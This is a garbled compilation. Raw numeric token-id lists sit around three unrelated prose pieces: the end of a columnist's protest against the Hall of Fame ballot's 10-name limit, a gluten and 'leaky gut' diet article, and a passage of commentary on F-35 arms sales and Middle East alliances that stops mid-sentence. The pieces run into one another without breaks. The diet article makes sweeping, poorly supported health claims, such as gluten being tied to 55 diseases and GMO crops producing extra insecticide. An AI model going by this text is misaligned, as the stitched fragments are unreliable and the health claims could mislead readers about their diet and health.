285, 4745, 13, 1364, 320, 14287, 13, 285, 417, 760, 984, 12165, 6696, 273, 27993, 21782, 4317, 403, 1146, 4934, 432, 546, 1200, 11078, 3658, 597, 13, 285, 512, 273, 14623, 13, 17337, 281, 923, 25146, 15, 187, 187, 1147, 434, 984, 273, 1633, 1014, 625, 18511, 326, 436, 19082, 1030, 14365, 3198, 281, 320, 364, 16970, 13, 18319, 15, 187, 187, 1147, 434, 1929, 347, 1846, 3282, 15, 1244, 326, 310, 247, 1232, 281, 534, 359, 1472, 512, 1925, 15, 187, 187, 314, 9866, 15, 864, 920, 33, 5992, 14790, 13608, 15, 681, 187, 187, 31068, 15, 681, 16, 45, 38051, 64, 22930, 920, 1276, 310, 4051, 10284, 32, 187, 187, 3463, 871, 368, 452, 3164, 3735, 273, 33666, 13, 533, 752, 310, 352, 32, 4051, 10284, 310, 253, 2601, 1119, 275, 18173, 534, 476, 320, 7154, 1066, 715, 16439, 36877, 285, 33666, 249, 15, 443, 965, 36877, 310, 253, 5110, 273, 33666, 326, 9347, 684, 253, 7026, 2380, 275, 33666, 7340, 15, 1723, 13, 3332, 2561, 6492, 326, 33666, 7996, 4292, 778, 8071, 281, 33666, 249, 347, 973, 15, 187, 187, 4509, 19786, 824, 347, 18173, 285, 39913, 13, 281, 6882, 3825, 824, 347, 465, 11429, 484, 285, 22462, 20301, 13, 33666, 556, 2489, 247, 37891, 275, 253, 2448, 6196, 15, 6295, 10748, 12952, 275, 1846, 19786, 285, 908, 347, 271, 2739, 21842, 13, 352, 310, 7552, 9592, 2834, 281, 4271, 285, 3693, 12134, 4508, 33666, 15, 9030, 10284, 556, 644, 7939, 281, 625, 685, 7288, 6578, 285, 271, 5998, 8688, 6, 273, 952, 665, 452, 2057, 260, 7876, 317, 390, 1327, 14, 6226, 14427, 33666, 7340, 403, 1620, 11245, 15, 15745, 403, 690, 41954, 9990, 2, 187, 187, 39204, 23626, 4051, 10284, 708, 10672, 968, 187, 187, 35, 1088, 13, 27725, 13, 285, 42725, 778, 320, 253, 7744, 7478, 43412, 84, 13, 533, 643, 19786, 285, 1791, 9181, 943, 671, 320, 20184, 323, 672, 352, 3249, 281, 33666, 7340, 15, 38365, 80, 19786, 824, 347, 572, 2610, 66, 285, 1791, 9181, 671, 452, 2074, 4324, 7939, 281, 13584, 90, 11479, 15, 44560, 281, 253, 6628, 12134, 476, 4723, 16356, 1341, 13, 2794, 26665, 33138, 275, 253, 11479, 27535, 13, 22846, 253, 3116, 273, 25824, 9574, 13, 2847, 14689, 31561, 13, 285, 13201, 253, 3727, 273, 36013, 12807, 15, 187, 187, 1231, 6008, 253, 8357, 5110, 273, 841, 6244, 534, 310, 10323, 253, 4444, 457, 84, 26223, 323, 21068, 15, 44943, 253, 4444, 2789, 17110, 281, 1234, 293, 22392, 285, 11907, 17355, 253, 8357, 323, 3116, 15, 733, 310, 841, 10748, 12952, 1234, 437, 592, 326, 476, 2847, 271, 10142, 2380, 323, 3095, 342, 25787, 2728, 15, 5488, 13, 672, 7497, 246, 37211, 342, 841, 6244, 285, 2794, 24663, 7321, 313, 40, 6329, 10, 9508, 273, 253, 344, 2587, 6188, 19112, 13, 253, 6244, 2489, 28136, 281, 4197, 1014, 625, 273, 253, 3626, 13188, 26685, 15, 2053, 443, 6329, 19786, 285, 1791, 9181, 943, 8839, 320, 16371, 323, 3780, 342, 25787, 2728, 15, 187, 187, 39090, 1200, 796, 15737, 187, 187, 10971, 13, 2360, 1200, 3355, 3831, 247, 2074, 12107, 9548, 281, 326, 273, 19786, 285, 1791, 9181, 15, 1916, 3780, 4122, 7996, 13, 253, 1618, 273, 15737, 2708, 943, 671, 320, 16371, 27, 187, 187, 15883, 4611, 187, 187, 15883, 255, 16078, 187, 187, 47, 21735, 75, 6077, 187, 187, 38, 1266, 8186, 187, 187, 29255, 4611, 313, 911, 10811, 7353, 14408, 10, 187, 187, 6432, 3803, 313, 30076, 3511, 285, 7353, 19112, 13, 347, 973, 347, 37484, 751, 13860, 32410, 13, 45568, 11687, 13, 260, 333, 22217, 13, 285, 19660, 284, 1940, 10, 187, 187, 9030, 10284, 285, 2070, 22560, 39205, 187, 187, 9030, 10284, 310, 417, 4354, 38780, 594, 634, 11479, 556, 281, 789, 1892, 281, 1232, 352, 15, 30011, 4355, 689, 25869, 285, 322, 5472, 48, 476, 906, 432, 31561, 273, 19632, 11479, 9574, 562, 9133, 272, 253, 5875, 9574, 15, 380, 2133, 44865, 407, 36300, 271, 7026, 985, 2380, 13, 20362, 352, 457, 84, 1211, 7944, 285, 28502, 253, 3275, 273, 1182, 251, 6236, 13, 247, 2601, 326, 18653, 16356, 25566, 285, 13584, 90, 11479, 15, 187, 187, 36, 7876, 317, 18742, 4632, 15, 8758, 14, 36, 7876, 317, 4051, 10284, 50132, 187, 187, 1147, 457, 84, 2590, 326, 33666, 7340, 11852, 4583, 1786, 285, 327, 253, 625, 5460, 990, 273, 253, 6637, 13, 1029, 33666, 7340, 476, 906, 275, 253, 25787, 2728, 1929, 347, 260, 7876, 317, 2728, 15, 2214, 3095, 342, 260, 7876, 317, 2728, 13, 667, 33666, 5445, 5997, 253, 7026, 985, 281, 3794, 8479, 6722, 10696, 285, 28153, 273, 253, 22496, 313, 23802, 10, 10649, 15, 4527, 512, 253, 6578, 326, 2965, 762, 253, 25787, 33265, 13, 260, 7876, 317, 2728, 310, 253, 760, 25787, 2728, 326, 556, 247, 1480, 5921, 342, 5445, 281, 247, 2176, 2739, 285, 32992, 273, 534, 476, 320, 37350, 407, 17816, 8353, 273, 326, 2739, 15, 187, 187, 6436, 352, 457, 84, 1774, 281, 3877, 326, 1223, 260, 7876, 317, 2728, 556, 2489, 247, 625 ]

unnecessary boundary? All the more reason for why there will be no ballot participation this year is the experience from 12 months ago. I, and we, then had the same issue in trying to find sufficient space to accommodate candidacies subject to discrimination because of a single number – 10 – that, last I was informed, is no more sacred of a numeral than any other digit governing any ballot in any election. A year ago I was forced to decide that a man for whom I had voted in all previous years of his eligibility, Edgar Martinez, was now a victim of numbers that had no reason or right to disqualify him. Others had the same experience. A number of them later acknowledged that had there been no such exclusionary quota, they would have more than been able to provide the two votes by which Biggio missed election. Now, with the arrival this year of new candidates – Johnson, Pedro Martinez, Smoltz, etc. – the traffic has moved from slowdown stage to a certified pile-up. What an embarrassing, self-defeating boundary we're governed by. Until this ballot is given the essential breathing room it and any pursuit of integrity demands, there will be no vote cast here -- not when irresponsibility in culling names trumps the accusations of irresponsibility that some will levy against a non-voter. Of course, there are furious critics who will protest on any number of fronts, beginning with some of those names included and excluded on one man's Hall of Fame list of preferences. You can begin, they say, by eliminating the cheaters: Bonds and Clemens. It's a reasonable demand. Except, I view this situation no differently than last year, or in previous years. After a decade or more of reflection and soul-searching I have a personal and wholly imperfect method for dealing with a hopeless mess. I choose to vote for players whose careers, apart from any relationship with performance-enhancing drugs, were, in my view, unambiguously Hall of Fame-grade. Clemens and Bonds, as odious as they were with their lies and with their apparent reliance on PEDs during an ugly and lawless era of big-league baseball, pass this excruciatingly distasteful challenge. Their numbers would have won them a trip to Cooperstown if they'd never once dabbled in the ugliness of PEDs. Conversely, players who by way of circumstantial or documented evidence might have had dalliances with PEDs that moved their numbers into Hall of Fame territory – Mark McGwire, Rafael Palmeiro, Sammy Sosa, etc. – are denied a vote. Again, there is no pretense that it's a distilled means for determining who was clean and who was dirty. But no evaluative process has been able to show, with any degree of overwhelming accuracy, who did, and who didn't, benefit from PEDs, and for how long. This is particularly true for an era of relative anarchy, 1996-2002, when baseball had no firm policy or serious drug-testing apparatus and when so many players were attempting to keep up, competitively, with the Joneses. How many voters whom the Bonds and Clemens vigilantes wish to hammer are naively blessing players who might well have been juicing, at some point, as furtively as the more notorious suspects? Answers are frustratingly few. That, of course, is an issue unto itself, the level of PED influence, and I respect many who have a different disposition toward the PED interlude. A personally crafted system for sorting through the likely offenders and their HOF candidacies represents only, for me, the best way to deal with reality. Make ballots public But back to the BBWAA, which in concert with Hall of Fame executives, conducts the Cooperstown vote. A year ago, we had a robust discussion of the 10-man limit at a heavily-attended BBWAA meeting annually arranged at the Winter Meetings. A committee was formed to study the 10-man limit. It was urged, personally in an e-mail letter to BBWAA officers, that the 10-man limit be expanded – this year – to avoid the very clutter and marginal chaos that voters now face on an unnecessarily restricted ballot. Nothing has happened. Anyone understands change can take time. But there are Constitutional amendments that have been ratified in shorter time than would have been required to make the fair and reasonable expansion on this year's Hall of Fame ballot. I now must ask: How many players will join Biggio this year in not receiving a sufficient percentage of votes – 75 percent is required for election – because a ballot had artificially created contours that once might have been acceptable but no longer apply? How many voters will be forced, as I was, to decide which player worthy of enshrinement was somewhat less worthy of standing at Cooperstown next July than the 10 to which I'm limited? This is separate from another plea I've formally made – that all Hall of Fame ballots be made public. It would go a long way to ensure that better ballots and more accountability is made part of an increasingly unpopular referendum on those who ultimately crack Cooperstown. I was told by BBWAA officials this year that the Hall of Fame bosses want ballots to be private. And I can't for the life of me figure out why that would be helpful or necessary. In fact, it's a policy as easily remedied as doing away with the 10-man limit. But we know how that urgency was met in 2014 and there is no real hope that public disclosure of votes will happen any time soon. But the 10-man limit, above all and immediately, must be lifted, and not only because qualified Hall of Fame inductees are being kept from enshrinements they, and all of baseball, deserve to see fulfilled. It's because of something even more compelling that this ridiculous constriction needs to be whacked, instantly. It's known as common sense. And that is a process to which we're all called. lynn.henning@detroitnews.com Twitter.com/Lynn_HenningWhat is Gluten? By know you have probably heard of gluten, but what is it? Gluten is the protein found in wheat which can be broken down into gliadin and glutenin. Gliadin is the portion of gluten that initiates the immune response in gluten sensitivity. However, recent research indicates that gluten sensitive individuals may react to glutenin as well. From grains such as wheat and barley, to condiments such as ketchup and salad dressing, gluten has become a staple in the American diet. Both naturally occurring in common grains and used as an food additive, it is becoming increasingly difficult to identify and avoid foods containing gluten.Gluten has been linked to more than 55 diseases and an estimated 99% of people who have either celiac or non-celiac gluten sensitivity are never diagnosed.Those are some staggering statistics! Going Beyond Gluten & Grains Bread, pasta, and cereal may be the commonly recognized culprits, but other grains and legumes should also be accounted for when it comes to gluten sensitivity. Pseudo grains such as quinoa and legumes also have similar proteins linked to leaky gut. Exposure to theses foods can damage intestinal cells, create porous junctions in the gut lining, foster the growth of unwanted bacteria, cause hormone imbalance, and disrupt the release of digestive enzymes. We eat the seed portion of these plants which is basically the plant’s embryo for reproduction. Naturally the plant makes chemicals to repel insects and encourage spreading the seed for growth. It is these naturally occurring repellents that can cause an inflammatory response for someone with autoimmune disease. Furthermore, when humans tinker with these plants and create genetically modified (GMO) versions of the heirloom varieties, the plants become engineered to produced even more of the natural insecticides. These GMO grains and legumes should absolutely be avoided for anyone with autoimmune disease. Nightshade vegetables Finally, nightshades contain a similar protective enzyme to that of grains and legumes. To anyone highly sensitive, the list of vegetables below should also be avoided: Tomato Tomatillo Naranjilla Eggplant Potato (excludes sweet potato) Pepper (includes hot and sweet varieties, as well as spices like paprika, chili powder, cayenne, and Tabasco) Gluten and Leaky Gut Gluten is not easily digested so your gut has to work hard to process it. Candida overgrowth and SIBO can result from imbalance of harmful gut bacteria outnumbering the healthy bacteria. The body reacts by initiating an immune system response, attacking it’s own tissues and stimulating the production of zonulin, a protein that promotes intestinal permeability and leaky gut. Celiac Disease vs. Non-Celiac Gluten Sensitivity It’s clear that gluten sensitivity affects overall health and on the more severe end of the spectrum, high gluten sensitivity can result in the autoimmune disease known as celiac disease.For someone with celiac disease, any gluten exposure causes the immune system to respond causing chronic inflammation and deterioration of the gastrointestinal (GI) tract.Of all the diseases that fall under the autoimmune umbrella, celiac disease is the only autoimmune disease that has a direct correlation with exposure to a certain food and advancement of which can be halted by avoiding consumption of that food. However it’s important to note that while celiac disease has become a more

[ 15, 187, 187, 883, 394, 285, 1249, 394, 2956, 10094, 187, 187, 7878, 9260, 11009, 2868, 326, 253, 17335, 16860, 275, 253, 10515, 5791, 812, 1390, 323, 1107, 13, 534, 588, 1056, 4343, 275, 253, 2919, 1014, 625, 15211, 323, 253, 401, 14, 1671, 22161, 11720, 13, 2783, 281, 320, 253, 22812, 273, 3968, 434, 2852, 47521, 273, 8914, 15, 380, 6415, 13, 253, 1533, 434, 954, 8214, 8914, 2199, 13, 556, 41088, 13789, 285, 556, 644, 39809, 11306, 281, 5284, 285, 11650, 17760, 15, 733, 556, 417, 2568, 644, 7690, 69, 1070, 281, 8365, 17760, 984, 273, 7350, 670, 24279, 5143, 434, 4668, 5024, 15, 187, 187, 1989, 342, 253, 6654, 273, 1612, 275, 253, 10515, 5791, 275, 8868, 13, 2067, 5684, 26154, 753, 326, 812, 1818, 15, 7422, 310, 247, 2201, 6174, 29622, 281, 7751, 13, 285, 247, 3061, 407, 3918, 31563, 657, 15, 22404, 281, 5580, 271, 7269, 2329, 5684, 985, 281, 7751, 812, 2572, 4831, 323, 253, 401, 14, 1671, 13, 534, 310, 2779, 281, 452, 253, 3745, 281, 34165, 7247, 14, 12710, 25774, 15, 187, 187, 1166, 394, 2956, 10094, 187, 187, 39333, 23552, 247, 1569, 275, 4695, 10568, 326, 6174, 6224, 1581, 5143, 281, 6558, 247, 346, 15847, 6716, 4668, 5024, 3, 275, 253, 2919, 15, 1876, 6224, 281, 253, 10515, 5791, 403, 6760, 1754, 327, 849, 597, 588, 2818, 13389, 4668, 34385, 15, 1292, 253, 6729, 5286, 556, 671, 11575, 11138, 253, 14269, 3927, 273, 3609, 8365, 12390, 1905, 1110, 326, 923, 7751, 347, 247, 4322, 275, 253, 2919, 1905, 347, 4619, 281, 13389, 3988, 15, 535, 3944, 1358, 2700, 15, 79, 1767, 1022, 15, 681, 16, 6620, 16, 2125, 16, 746, 16, 10186, 16, 16389, 26139, 16, 39019, 14, 1171, 14, 316, 14, 15326, 14, 19766, 1241, 14, 783, 14, 88, 1032, 14, 1171, 14, 274, 357, 14, 21196, 15, 2974, 32, 709, 30, 16389, 26139, 7, 64, 83, 30, 17, 187, 187, 3404, 253, 1563, 10518, 6995, 1334, 3929, 13, 18879, 346, 35, 9226, 2296, 253, 1982, 686, 7110, 5143, 434, 896, 8, 347, 344, 16966, 281, 7257, 747, 401, 14, 1671, 22161, 24825, 995, 4162, 4104, 13, 368, 476, 1239, 326, 253, 7108, 403, 4680, 670, 6941, 253, 7289, 273, 401, 14, 1671, 281, 1097, 253, 40968, 285, 253, 39004, 13, 275, 1340, 323, 1097, 273, 731, 281, 1928, 625, 7895, 670, 253, 2448, 14, 38824, 757, 18737, 287, 1962, 420, 15, 1292, 597, 403, 4680, 670, 10156, 253, 401, 14, 1671, 806, 281, 253, 40968, 13, 285, 1264, 1107, 1996, 281, 253, 39004, 13, 2686, 281, 1986, 8365, 47229, 13, 275, 1340, 323, 253, 40968, 281, 1335, 452, 271, 5750, 689, 616, 8365, 15833, 15, 7764, 3877, 326, 253, 7108, 513, 417, 971, 281, 5580, 352, 281, 16158, 20498, 13, 285, 597, 4510, 281, 5580, 352, 281, 253, 1986, 8365, 47229, 3185, 15, 187, 187, 18, 296, 2956, 10094, 187, 187, 3251, 22230, 281, 11990, 530, 15, 52, 8634, 25054, 74, 29005, 13, 17979, 3918, 9915, 26656, 327, 8216, 12316, 5143, 6742, 273, 1755, 14, 31045, 22161, 24825, 1735, 807, 281, 6558, 697, 4668, 5024, 285, 40818, 326, 667, 2457, 6069, 2968, 342, 7751, 651, 5416, 5143, 434, 3988, 15, 187, 187, 20, 5784, 285, 577, 394, 2956, 10094, 187, 187, 35, 9226, 1912, 41958, 432, 247, 354, 14, 25054, 8446, 672, 344, 2183, 731, 253, 1986, 2077, 651, 3135, 6742, 273, 19989, 45217, 8698, 434, 747, 401, 14, 1671, 24825, 281, 697, 25550, 1735, 807, 13, 2403, 5143, 253, 760, 2586, 275, 253, 10515, 5791, 281, 452, 253, 747, 41088, 2137, 13568, 15, 187, 187, 1989, 344, 369, 1313, 342, 10837, 672, 344, 294, 2843, 4504, 530, 15, 52, 15, 1329, 323, 247, 767, 14, 3409, 2900, 281, 253, 13389, 14, 16281, 383, 34923, 7344, 13, 271, 512, 2035, 281, 5219, 3995, 21915, 281, 39094, 434, 5701, 1390, 1770, 20278, 5545, 327, 521, 11847, 281, 247, 19018, 1375, 15, 535, 3944, 1358, 2700, 15, 21616, 968, 1334, 15, 681, 16, 7299, 257, 14, 783, 14, 316, 14, 7110, 14, 261, 376, 1241, 14, 2135, 14, 284, 14, 1826, 14, 71, 14, 1671, 84, 14, 609, 14, 1178, 14, 1542, 14, 7555, 6106, 14, 6620, 14, 21, 32, 23838, 64, 12812, 64, 250, 453, 6554, 30, 18, 7, 307, 78, 64, 6756, 30, 52, 647, 394, 579, 7, 307, 78, 64, 28672, 30, 12812, 7, 307, 78, 64, 3945, 30, 27270, 6, 938, 14794, 1334, 6, 938, 10004, 7, 307, 78, 64, 49686, 30, 6159, 6, 938, 10004, 6, 938, 6, 1619, 28781, 6, 938, 25897, 6, 1717, 6, 938, 6620, 14, 2125, 14, 1348, 7, 307, 78, 64, 6071, 30, 35, 1830, 13467, 187, 187, 17756, 253, 1534, 7756, 275, 253, 7247, 14, 25054, 74, 2493, 943, 417, 320, 2326, 347, 625, 1774, 685, 352, 310, 13, 984, 352, 310, 760, 253, 7108, 665, 476, 1978, 253, 40968, 9338, 13, 285, 984, 7751, 310, 323, 7422, 247, 1199, 625, 1774, 2586, 685, 5143, 15, 1310, 7751, 21936, 281, 5580, 697, 3626, 3678, 285, 4166, 281, 3060, 352, 588, 3012, 8513, 7422, 434, 5054, 6284, 15, 3813, 253, 40968, 285, 253, 24794, 476, 29406, 1077, 973, 1411, 616, 1846, 9054, 13, 534, 310, 253, 8033, 1346, 665, 403, 17245, 407, 14307, 285, 38372, 13, 533, 627, 310, 247, 2701, 281, 436, 15850, 984, 253, 40968, 878, 253, 7108, 285, 253, 24794, 878, 253, 7751, 2458, 15, 187, 187, 1909, 368, 476, 923, 387, 253, 1563, 26654, 2829, 5143, 556, 247, 24820, 313, 13074, 6021, 10, 273, 7469, 6494, 8918, 13, 285, 16158, 20498, 13, 253, 1986, 8365, 47229, 13, 14307, 285, 7751, 452, 247, 2264, 24820, 273, 374, 15, 21, 28126, 8918, 15, 1244, 326, 310, 1293, 3192, 715, 2395, 1142, 643, 8365, 285, 8797, 4343, 273, 253, 2919, 15, 3813, 352, 310, 7479, 323, 5143, 281, 11883, 604, 253, 7108, 513, 417, 1056, 2119, 326, 253, 40968, 452, 247, 4668, 20417, 5750, 689, 253, 39004, 13, 253, 10400, 2458, 285, 253, 47563, 15, 187, 187, 3, 2765, 273, 4343, 407, 24820, 313, 25009, 989, 6844, 187, 187, 40701, 1384, 535, 3944, 1358, 257, 15, 25842, 15, 2061, 16, 16123, 16, 2765, 64, 1171, 64, 5560, 2246, 64, 1615, 64, 40, 9308, 64, 6, 1619, 25009, 989, 6, 1717, 187, 187, 3404, 253, 1563, 2829, 368, 476, 923, 253, 6253, 6174, 9603, 4413, 15, 1422, 476, 923, 326, 954, 273, 731, 403, 2448, 4413, 15, 187, 187, 40701, 3127, 535, 3944, 1358, 2700, 15, 84, 532, 363, 15, 2061, 16, 36642, 16, 1513, 19491, 16, 25307, 16, 45019, 14, 85, 34844, 14, 249, 14, 15326, 14, 28475, 610, 16, 522, 14, 13485, 16, 510, 6, 7199, 6, 938, 45242, 6, 938, 15326, 14, 28916, 6, 938, 395, 6, 938, 46659, 6, 938, 21922, 6, 938, 32729, 447, 6, 938, 249, 6, 938, 783, 6, 938, 10186, 6, 938, 911, 6547, 6, 938, 22800, 42910, 938, 6755, 15, 8567, 16, 5695, 64, 1374, 64, 11546, 14396, 187, 187, 42, 5393, 253, 41340, 15128, 44, 534, 17209, 275, 11867, 14307, 15, 1707, 403, 1142, 952, 665, 49294, 2868, 326, 253, 1982, 812, 897, 253, 15128, 44, 1411, 14307, 13, 984, 273, 253, 3237, 326, 20944, 275, 253, 2448, 14, 44354, 763, 2493, 689, 12728, 15, 1723, 597, 403, 1077, 3430, 984, 436, 651, 37355, 907, 253, 2919, 285, 990, 3751, 253, 10586, 11669, 3094, 6992, 263, 285, 352, 651, 320, 253, 6459, 9140, 281, 253, 24794, 15, 733, 310, 760, 253, 24794, 285, 253, 40968, 665, 452, 247, 23778, 281, 1329, 253, 15128, 44, 13, 533, 253, 24794, 2550, 689, 3088, 352, 13, 984, 597, 403, 2444, 342, 14307, 275, 253, 2341, 8776, 13, 285, 253, 40968, 2550, 689, 3088, 352, 2057, 13, 984, 597, 878, 253, 7108, 15, 7214, 604, 14307, 4425, 281, 2972, 253, 10586, 11669, 3094, 6992, 263, 253, 7108, 651, 452, 247, 23778, 281, 1361, 253, 15128, 44, 1411, 253, 47563, 15, 1292, 253, 47563, 403, 14312, 253, 10586, 11669, 3094, 6992, 263, 342, 512, 616, 1537, 15, 187, 187, 688, 24076, 13, 835, 14307, 310, 8615, 247, 17335, 2137, 342, 5143, 949, 253, 8033, 1346, 273, 32885, 13, 253, 24794, 452, 281, 320, 8489, 9238, 13, 984, 7751, 13, 247, 7247, 25550, 13, 310, 671, 8109, 32885, 15, 3813, 7422, 310, 7964, 417, 8109, 253, 8033, 1346, 273, 32885, 275, 24076, 13, 533, 703, 2550, 564, 1411, 32885, 2057, 13, 984, 436, 651, 11606, 617, 2493, 342, 7751, 13, 347, 368, 476, 1239, 387, 253, 1563, 16496, 7717, 3929, 13, 37126, 346, 14067, 3032, 16048, 26300, 13, 22404, 1680, 48706, 281, 15185, 5143, 24161, 32885, 995, 4163, 4059, 15, 187, 187, 1394, 476, 1239, 275, 253, 3929, 326, 1014, 2167, 627, 403, 337, 3041, 40968, 273, 7247, 6510, 3811, 275, 5143, 13, 285, 1014, 2167, 22404, 310, 253, 806, 7247, 4007, 665, 556, 417, 30481, 3270, 14, 18581, 31367, 275, 7422, 13, 7422, 2550, 1329, 5143, 275, 697, 3819, 1411, 32885, 13, 984, 323, 1142, 1107, 7751, 556, 644, 28106, 32885, 342, 6174, 15, 380, 3929, 671, 25957, 326, 22404, 369, 253, 806, 7247, 4007, 281, 4143, 5143, 13, 285, 326, 7422, 1057, 417, 1908, 32885, 281, 320, 247, 17150, 6003, 13, 347, 1142, 643, 4343, 513, 13, 285, 326, 253, 6657, 273, 32885, 11580, 7422, 275, 4267, 15, 187, 187, 1166, 394, 13, 1283, 394, 13, 655, 394, 13, 1384, 394, 13, 3127, 296, 285, 3307, 2109, 2956, 10094, 84, 187, 187, 7673, 685, 337, 3041, 7247, 285, 12194, 16618, 3153, 275, 5143, 3063, 13, 9046, 247, 6422, 3569, 16612, 15, 16513, 1142, 3438, 7247, 7038, 13, 22404, 556, 417, 12322, 667, 7871, 273, 3270, 14, 18581, 31367, 1309, 521, 673, 275, 3906, 15, 1623, 253, 10214, 13, 344, 369, 253, 806, 7247, 1481, 273, 1375, 281, 4143, 253, 2586, 13, 285, 556, 5183, 2266, 1600, 275, 5143, 434, 4466, 285, 697, 10291, 342, 7422, 15, 187, 187, 7130, 281, 28364, 42891, 13, 22404, 6125, 247, 747, 2746, 281, 253, 11563, 15, 187, 187, 3, 1328, 310, 417, 247, 43180, 281, 38671, 13, 285, 3270, 14, 18581, 31367, 1057, 417, 1600, 779, 15, 754, 11580, 25157, 348, 37381, 5747, 2266, 10266, 432, 1142, 3569, 5621, 275, 7422, 937, 344, 753, 15, 187, 187, 6436, 13, 7038, 273, 32885, 13, 2783, 247, 17150, 6003, 407, 954, 6359, 3054, 13, 11580, 16496, 275, 5403, 846, 247, 3367, 21558, 432, 22404, 15, 22404, 858, 417, 2525, 342, 697, 7038, 387, 253, 673, 13, 533, 3918, 399, 2225, 610, 3050, 1272, 1173, 1313, 342, 32885, 434, 3569, 6657, 15858, 3256, 353, 1225, 267, 275, 12728, 275, 4267, 15, 187, 187, 46, 1225, 267, 369, 11526, 281, 2075, 1529, 4143, 281, 16496, 436, 5768, 13, 533, 253, 7408, 369, 44866, 1955, 281, 253, 12360, 7344, 275, 5143, 13, 2556, 281, 714, 293, 6736, 5887, 251, 1758, 13, 1481, 273, 253, 10497, 285, 10515, 5791, 5197, 387, 253, 7247, 6516, 273, 40456, 11709, 15, 187, 187, 7130, 281, 5887, 251, 1758, 13, 7422, 556, 644, 2820, 1892, 281, 35531, 432, 41859, 581, 1930, 273, 253, 7344, 275, 1340, 281, 9510, 697, 4833, 275, 1533, 13909, 13, 1677, 326, 352, 556, 1199, 1679, 5300, 387, 697, 23585, 685, 253, 530, 15, 52, 15, 187, 187, 1099, 394, 13, 3436, 394, 285, 3435, 394, 2956, 10094, 84, 187, 187, 1992, 1213, 17014, 253, 6284, 273, 1027, 9136, 13, 22404, 671, 556, 281, 3693, 14004, 1076, 7751, 13, 26154, 5821, 15, 187, 187, 38824, 556, 644, 28106, 32885, 342, 4430, 19491, 285, 4832, 8596, 323, 1107, 15, 11977, 253, 7216, 22907, 14, 11342, 3177, 13, 253, 20533, 14, 32797, 754, 49038, 6003, 556, 2168, 644, 10430, 625, 28665, 281, 294, 1513, 32885, 275, 253, 24076, 11705, 13, 3668, 4422, 411, 2109, 15, 681, 2361, 327, 7948, 15, 187, 187, 37881, 556, 644, 18327, 253, 34178, 273, 530, 15, 52, 15, 17634, 1411, 7751, 689, 253, 2586, 434, 6069, 2086, 15, 7751, 310, 671, 581, 273, 253, 2234, 14501, 273, 253, 17959, 3918, 32799, 274, 38220, 13, 665, 310, 671, 17245, 407, 22404, 15, 535, 3944, 1358, 2700, 15, 16083, 15635, 3181, 15, 681, 16, 13608, 16, 14600, 16, 3229, 3784, 14, 8701, 14, 14774, 26300, 14, 1065, 249, 14, 261, 14, 328, 494, 14, 936, 14, 13821, 14, 261, 4690, 14, 26204, 14, 3964, 284, 16, 1235, 1706, 2526, 15, 2974, 187, 187 ]

. 11th and 12th Paragraph American intelligence agencies believe that the proxy wars in the Middle East could last for years, which will make countries in the region even more eager for the F-35 fighter jet, considered to be the jewel of America's future arsenal of weapons. The plane, the world's most expensive weapons project, has stealth capabilities and has been marketed heavily to European and Asian allies. It has not yet been peddled to Arab allies because of concerns about preserving Israel's military edge. But with the balance of power in the Middle East in flux, several defense analysts said that could change. Russia is a major arms supplier to Iran, and a decision by President Vladimir V. Putin to sell an advanced air defense system to Iran could increase demand for the F-35, which is likely to have the ability to penetrate Russian-made defenses. 17th Paragraph Congress enacted a law in 2008 requiring that arms sales allow Israel to maintain a "qualitative military edge" in the region. All sales to the Middle East are evaluated based on how they will affect Israeli military superiority. But the Obama administration has also viewed improving the militaries of select Arab nations — those that see Iran as a threat in the region — as critical to Israeli security. http://www.nytimes.com/2015/04/19/world/middleeast/sale-of-us-arms-fuels-the-wars-of-arab-states.html?ref=middleeast&_r=0 At the following Business Insider article, titled "Biden says the US 'has Israel's back' as he promises to deliver new F-35 fighter jets", April 2015, you can read that the Americans are thinking about allowing the sale of F-35 to both the Israelis and the Arabs, in order for both of them to feel more secure about the American-Iranian rapprochement. But they are thinking about selling the F-35 first to the Israelis, and three years later to the Arabs, actually to United Arab Emirates, in order for the Israelis to still have an advantage over their Arab neighbors. Please note that the Americans do not want to sell it to Saudi Arabia, and they prefer to sell it to the United Arab Emirates instead. 1st Paragraph Seeking to ease U.S.-Israeli tensions, Vice President Joe Biden on Thursday promised Israel delivery of top-flight fighter jets next year to maintain its military edge and vowed that any final nuclear deal with Iran would ensure Israel's security. 3rd and 4th Paragraph Biden won applause from a pro-Israel audience when he told them the United States would begin delivery of Lockheed Martin's new F-35 jets to its ally next year, making Israel the only country in the Middle East to have the new stealth warplane. But he was met with silence when he reaffirmed U.S. support for a two-state solution to the Israeli-Palestinian conflict, an allusion to White House objections to Netanyahu's comments last month casting doubt on his commitment to a Palestinian state. http://www.businessinsider.com/biden-the-us-has-israels-back-as-new-f-35s-are-set-for-delivery-2015-4?nr_email_referer=1&utm_source=Sailthru&utm_medium=email&utm_term=Business%20Insider%20Select&utm_campaign=BI%20Select%20%28Wednesday%20Friday%29%202015-04-24&utm_content=BISelect Therefore the significant improvement in the Russian-Israeli relations should not be seen as more important than it is, because it is only the Americans who can keep the Israelis alive, and because Iran is for Russia a much more important country than Israel. If Iran decides to sell its natural gas and oil to Europe it will significantly hurt Russia's economic interests. Therefore the Israelis and the Russians can cooperate very well against their common enemy, which is the Islamists who are backed by Turkey and Qatar, but there is a limit to this cooperation because the Israelis need the Americans and the Russians need the Iranians. As you can see at the following Wikipedia table Israel has a GDP (total income) of 300 billion dollars, and Saudi Arabia, the United Arab Emirates, Turkey and Iran have a total GDP of 2.4 trillion dollars. And that is without taking into account many other Arab and Muslim countries of the region. Therefore it is impossible for Israel to survive if the Americans do not make sure that the Israelis have a military technological advantage over the Arabs, the Persians and the Turks. "List of countries by GDP (nominal)" Picture 20 http://en.wikipedia.org/wiki/List_of_countries_by_GDP_%28nominal%29 At the following table you can see the largest arms producing companies. You can see that most of them are American companies. Picture 21 http://www.sipri.org/research/armaments/production/recent-trends-in-arms-industry/ap-images/The%2010%20largest%20arms-producing%20and%20military%20services%20companies%20in%20the%20world%20excluding%20China-%202012.png/image_view_fullscreen I mentioned the Kurdish PKK which operates in Eastern Turkey. There are many people who mistakenly believe that the US could use the PKK against Turkey, because of the problems that arose in the American-Turkish relations over Syria. However they are very wrong because this would destabilize the region and endanger the Southern Energy Corridor and it would be the greatest gift to the Russians. It is only the Russians and the Israelis who have a motive to support the PKK, but the Russians cannot overdo it, because they are working with Turkey in the energy sector, and the Israelis cannot overdo it either, because they need the Americans. Only if Turkey decided to block the Southern Energy Corridor the Americans would have a motive to help the PKK against the Turks. But the Turks are promoting the Southern Energy Corridor with all their might. In Gaza, where Turkey is fighting a proxy war with Israel through the Islamists of Hamas, the Russians have to be somewhat neutral, because Iran, a Russian ally, is also supporting Hamas. Therefore Russia is 